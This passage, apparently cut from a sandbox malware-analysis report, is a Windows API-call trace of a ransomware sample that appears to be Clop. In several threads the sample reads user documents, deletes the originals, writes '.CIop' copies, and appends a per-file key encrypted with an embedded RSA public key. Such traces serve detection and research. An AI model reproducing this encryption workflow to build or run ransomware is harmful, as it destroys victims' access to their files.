lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x410 [0090.783] ReadFile (in: hFile=0x410, lpBuffer=0x6265d0, nNumberOfBytesToRead=0x66f5, lpNumberOfBytesRead=0x306e5e8, lpOverlapped=0x0 | out: lpBuffer=0x6265d0*, lpNumberOfBytesRead=0x306e5e8*=0x66f5, lpOverlapped=0x0) returned 1 [0090.784] CloseHandle (hObject=0x410) returned 1 [0090.784] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\uhL6PZJxrZwaAeTB.ods" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\uhl6pzjxrzwaaetb.ods")) returned 1 [0090.785] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0090.785] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0090.785] SetErrorMode (uMode=0x1) returned 0x1 [0090.785] CryptAcquireContextW (in: phProv=0x306e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x306e5b8*=0x614088) returned 1 [0090.787] CryptGenKey (in: hProv=0x614088, Algid=0x1, dwFlags=0x4000, phKey=0x306e5bc | out: phKey=0x306e5bc*=0x5c32d0) returned 1 [0090.811] CryptExportKey (in: hKey=0x5c32d0, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x306e5ec | out: pbData=0x0*, pdwDataLen=0x306e5ec*=0x94) returned 1 [0090.811] CryptExportKey (in: hKey=0x5c32d0, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x306e5ec | out: pbData=0x2f20000*, pdwDataLen=0x306e5ec*=0x94) returned 1 [0090.811] CryptDestroyKey (hKey=0x5c32d0) returned 1 [0090.811] CryptReleaseContext (hProv=0x614088, dwFlags=0x0) returned 1 [0090.812] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\uhL6PZJxrZwaAeTB.ods.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\uhl6pzjxrzwaaetb.ods.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x41c [0090.812] WriteFile (in: hFile=0x41c, lpBuffer=0x6265d0*, nNumberOfBytesToWrite=0x66f5, lpNumberOfBytesWritten=0x306e5d8, lpOverlapped=0x0 | out: lpBuffer=0x6265d0*, lpNumberOfBytesWritten=0x306e5d8*=0x66f5, lpOverlapped=0x0) returned 1 [0090.813] SetFilePointer (in: hFile=0x41c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x66f5 [0090.813] WriteFile (in: hFile=0x41c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x306e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x306e5d8*=0x7, lpOverlapped=0x0) returned 1 [0090.813] SetFilePointer (in: hFile=0x41c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x66fc [0090.813] SetErrorMode (uMode=0x1) returned 0x1 [0090.813] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0090.813] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x306d5b8, pcbBinary=0x306d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x306d5b8, pcbBinary=0x306d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0090.813] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x306d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x306d5a0, pcbStructInfo=0x306d598 | out: pvStructInfo=0x306d5a0, pcbStructInfo=0x306d598) returned 1 [0090.813] CryptAcquireContextW (in: phProv=0x306d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x306d5a8*=0x6144c8) returned 1 [0090.814] CryptImportPublicKeyInfoEx (in: hCryptProv=0x6144c8, dwCertEncodingType=0x1, pInfo=0x682450, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x306d5b0 | out: phKey=0x306d5b0*=0x5c32d0) returned 1 [0090.814] CryptEncrypt (in: hKey=0x5c32d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x306d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x306d5b4*=0x80) returned 1 [0090.814] CryptEncrypt (in: hKey=0x5c32d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x614198*, pdwDataLen=0x306d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x614198*, pdwDataLen=0x306d5a4*=0x80) returned 1 [0090.814] WriteFile (in: hFile=0x41c, lpBuffer=0x614198*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x306e5d8, lpOverlapped=0x0 | out: lpBuffer=0x614198*, lpNumberOfBytesWritten=0x306e5d8*=0x80, lpOverlapped=0x0) returned 1 [0090.814] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.815] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.815] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.815] CloseHandle (hObject=0x41c) returned 1 [0090.817] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\uhL6PZJxrZwaAeTB.ods" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\uhl6pzjxrzwaaetb.ods")) returned 0 Thread: id = 65 os_tid = 0xff8 [0090.826] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0090.826] lstrcpyW (in: lpString1=0x2f0f368, lpString2="-PZcxu.pps" | out: lpString1="-PZcxu.pps") returned="-PZcxu.pps" [0090.826] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" [0090.826] SetErrorMode (uMode=0x1) returned 0x1 [0090.826] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\-PZcxu.pps") returned 87 [0090.826] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\-PZcxu.pps", dwFileAttributes=0x20) returned 1 [0090.826] StrStrW (lpFirst="-PZcxu.pps", lpSrch=".CIop") returned 0x0 [0090.826] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\-PZcxu.pps.CIop") returned 92 [0090.826] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\-PZcxu.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\-pzcxu.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x414 [0090.827] ReadFile (in: hFile=0x414, lpBuffer=0x6265d0, nNumberOfBytesToRead=0x12a76, lpNumberOfBytesRead=0x2f0e5e8, lpOverlapped=0x0 | out: lpBuffer=0x6265d0*, lpNumberOfBytesRead=0x2f0e5e8*=0x12a76, lpOverlapped=0x0) returned 1 [0090.828] CloseHandle (hObject=0x414) returned 1 [0090.828] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\-PZcxu.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\-pzcxu.pps")) returned 1 [0090.838] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0090.838] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0090.838] SetErrorMode (uMode=0x1) returned 0x1 [0090.838] CryptAcquireContextW (in: phProv=0x2f0e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f0e5b8*=0x614088) returned 1 [0090.841] CryptGenKey (in: hProv=0x614088, Algid=0x1, dwFlags=0x4000, phKey=0x2f0e5bc | out: phKey=0x2f0e5bc*=0x5c3310) returned 1 [0090.893] CryptExportKey (in: hKey=0x5c3310, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f0e5ec | out: pbData=0x0*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0090.893] CryptExportKey (in: hKey=0x5c3310, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x2f0e5ec | out: pbData=0x2f20000*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0090.893] CryptDestroyKey (hKey=0x5c3310) returned 1 [0090.893] CryptReleaseContext (hProv=0x614088, dwFlags=0x0) returned 1 [0090.893] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\-PZcxu.pps.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\-pzcxu.pps.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x414 [0090.894] WriteFile (in: hFile=0x414, lpBuffer=0x6265d0*, nNumberOfBytesToWrite=0x12a76, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x6265d0*, lpNumberOfBytesWritten=0x2f0e5d8*=0x12a76, lpOverlapped=0x0) returned 1 [0090.895] SetFilePointer (in: hFile=0x414, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x12a76 [0090.895] WriteFile (in: hFile=0x414, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7, lpOverlapped=0x0) returned 1 [0090.895] SetFilePointer (in: hFile=0x414, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x12a7d [0090.895] SetErrorMode (uMode=0x1) returned 0x1 [0090.895] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0090.895] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0090.895] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f0d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598 | out: pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598) returned 1 [0090.895] CryptAcquireContextW (in: phProv=0x2f0d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f0d5a8*=0x6135e8) returned 1 [0090.896] CryptImportPublicKeyInfoEx (in: hCryptProv=0x6135e8, dwCertEncodingType=0x1, pInfo=0x681750, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f0d5b0 | out: phKey=0x2f0d5b0*=0x5c34d0) returned 1 [0090.896] CryptEncrypt (in: hKey=0x5c34d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x80) returned 1 [0090.896] CryptEncrypt (in: hKey=0x5c34d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6142a8*, pdwDataLen=0x2f0d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x6142a8*, pdwDataLen=0x2f0d5a4*=0x80) returned 1 [0090.896] WriteFile (in: hFile=0x414, lpBuffer=0x6142a8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x6142a8*, lpNumberOfBytesWritten=0x2f0e5d8*=0x80, lpOverlapped=0x0) returned 1 [0090.896] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.897] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.897] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.897] CloseHandle (hObject=0x414) returned 1 [0090.899] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\-PZcxu.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\-pzcxu.pps")) returned 0 Thread: id = 66 os_tid = 0xffc [0090.919] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0090.919] lstrcpyW (in: lpString1=0x2f0f368, lpString2="GAgDtV.ods" | out: lpString1="GAgDtV.ods") returned="GAgDtV.ods" [0090.919] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" [0090.920] SetErrorMode (uMode=0x1) returned 0x1 [0090.920] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\GAgDtV.ods") returned 87 [0090.920] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\GAgDtV.ods", dwFileAttributes=0x20) returned 1 [0090.920] StrStrW (lpFirst="GAgDtV.ods", lpSrch=".CIop") returned 0x0 [0090.920] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\GAgDtV.ods.CIop") returned 92 [0090.920] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\GAgDtV.ods" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\gagdtv.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x420 [0090.921] ReadFile (in: hFile=0x420, lpBuffer=0x6265d0, nNumberOfBytesToRead=0xe6fc, lpNumberOfBytesRead=0x2f0e5e8, lpOverlapped=0x0 | out: lpBuffer=0x6265d0*, lpNumberOfBytesRead=0x2f0e5e8*=0xe6fc, lpOverlapped=0x0) returned 1 [0090.921] CloseHandle (hObject=0x420) returned 1 [0090.921] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\GAgDtV.ods" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\gagdtv.ods")) returned 1 [0090.923] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0090.923] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0090.923] SetErrorMode (uMode=0x1) returned 0x1 [0090.923] CryptAcquireContextW (in: phProv=0x2f0e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f0e5b8*=0x613ab0) returned 1 [0090.925] CryptGenKey (in: hProv=0x613ab0, Algid=0x1, dwFlags=0x4000, phKey=0x2f0e5bc | out: phKey=0x2f0e5bc*=0x5c38d0) returned 1 [0090.942] CryptExportKey (in: hKey=0x5c38d0, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f0e5ec | out: pbData=0x0*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0090.942] CryptExportKey (in: hKey=0x5c38d0, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x2f0e5ec | out: pbData=0x2f20000*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0090.942] CryptDestroyKey (hKey=0x5c38d0) returned 1 [0090.942] CryptReleaseContext (hProv=0x613ab0, dwFlags=0x0) returned 1 [0090.943] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\GAgDtV.ods.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\gagdtv.ods.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x420 [0090.943] WriteFile (in: hFile=0x420, lpBuffer=0x6265d0*, nNumberOfBytesToWrite=0xe6fc, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x6265d0*, lpNumberOfBytesWritten=0x2f0e5d8*=0xe6fc, lpOverlapped=0x0) returned 1 [0090.944] SetFilePointer (in: hFile=0x420, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe6fc [0090.944] WriteFile (in: hFile=0x420, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7, lpOverlapped=0x0) returned 1 [0090.944] SetFilePointer (in: hFile=0x420, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe703 [0090.944] SetErrorMode (uMode=0x1) returned 0x1 [0090.944] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0090.944] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0090.944] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f0d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598 | out: pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598) returned 1 [0090.944] CryptAcquireContextW (in: phProv=0x2f0d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f0d5a8*=0x614440) returned 1 [0090.945] CryptImportPublicKeyInfoEx (in: hCryptProv=0x614440, dwCertEncodingType=0x1, pInfo=0x6819c0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f0d5b0 | out: phKey=0x2f0d5b0*=0x5c33d0) returned 1 [0090.945] CryptEncrypt (in: hKey=0x5c33d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x80) returned 1 [0090.945] CryptEncrypt (in: hKey=0x5c33d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x613ab0*, pdwDataLen=0x2f0d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x613ab0*, pdwDataLen=0x2f0d5a4*=0x80) returned 1 [0090.945] WriteFile (in: hFile=0x420, lpBuffer=0x613ab0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x613ab0*, lpNumberOfBytesWritten=0x2f0e5d8*=0x80, lpOverlapped=0x0) returned 1 [0090.945] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.946] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.946] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.946] CloseHandle (hObject=0x420) returned 1 [0090.948] DeleteFileW 